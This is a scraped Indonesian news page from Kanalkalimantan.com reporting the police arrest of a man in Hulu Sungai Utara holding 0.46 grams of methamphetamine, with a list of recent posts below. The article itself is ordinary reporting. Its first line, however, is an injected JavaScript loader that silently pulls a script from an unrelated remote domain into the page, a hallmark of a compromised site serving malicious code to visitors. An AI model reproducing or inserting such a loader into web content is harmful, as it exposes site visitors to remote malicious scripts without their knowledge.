(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Sabu Antar Warga Palampitan Hulu ke Tahanan PolisiÂ


KANALKALIMANTAN.COM, AMUNTAI – Satuan Resnarkoba Polres Hulu Sungai Utara (HSU) berhasil mengungkap kasus Narkotika dengan seorang tersangka bersama sabu 0,46 gram.

Tersangka yang berhasil dibekuk berinisial HS (45), warga Jalan Gerilya II RT 002 Desa Palampitan Hulu, Kecamatan Amuntai Tengah, Kabupaten Hulu Sungai Utara.

Kapolres HSU AKBP Moch Isharyadi F SIK melalui Kasat Narkoba Ahmad Wijono Djati, Rabu (1/2/2023) membenarkan, pengungkapkan kasus narkoba tersebut.

Pengungkapan kasus tersebut bermula dari informasi masyarakat yang merasa resah lantaran di wilayah Desa Pelampitan Hulu, karena sering dijadikan tempat transaksi gelap Narkotika.

 

Baca juga: Geger Lelaki Berseragam ASN Keluarkan Kemaluan di Depan Kampus ULM Banjarmasin 

Satresnarkoba Polres HSU langsung melakukan penyelidikan pada Minggu 29 Januari 2023 sekitar pukul 18.42 Wita, Tim Opsnal Satresnarkoba berhasil mengamankan seorang laki-laki yang sedang berdiri dengan kedua tangan ke belakang, setelah ditanya mengaku bernama HS.

“Setelah kita introgasi dan penggeledahan dan ditemukan dibalik tangan tersangka menyimpan sebanyak 2 paket narkotika jenis sabu 0,84 gram, berat bersih 0,46 gram,” bebernya.

 

Selain itu, pihaknya juga mengamankan barang bukti lainnya yaitu 6 plastik piper klip, 1 buah kotak kecil transpran, 1 buah sendok plastik, Uang tunai sebesar Rp.150 ribu dan 1 buah handphone merk Nokia 105 RM 908 warna hitam.

Baca juga: Bangunan Lama Sudah Tak Layak, Pemkab Banjar Akan Bangun Pukesmas Baru di Pengaron

Tersangka HS dan barang bukti 2 paket sabu. Foto: satresnarkobapolreshsu

Atas perbuatan tersangka beserta barang bukti digelandang ke ruang Satresnarkoba Polres HSU guna proses penyidikan lebih lanjut.

“Dari kasus ini tersangka dapat dijerat Pasal 114 Ayat (1) Sub Pasal 112 Ayat (1) UURI No.35 Tahun 2009 Tentang Narkotika,” pungkasnya. (Kanalkalimantan.com/dew)

Reporter : dew
Editor : bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.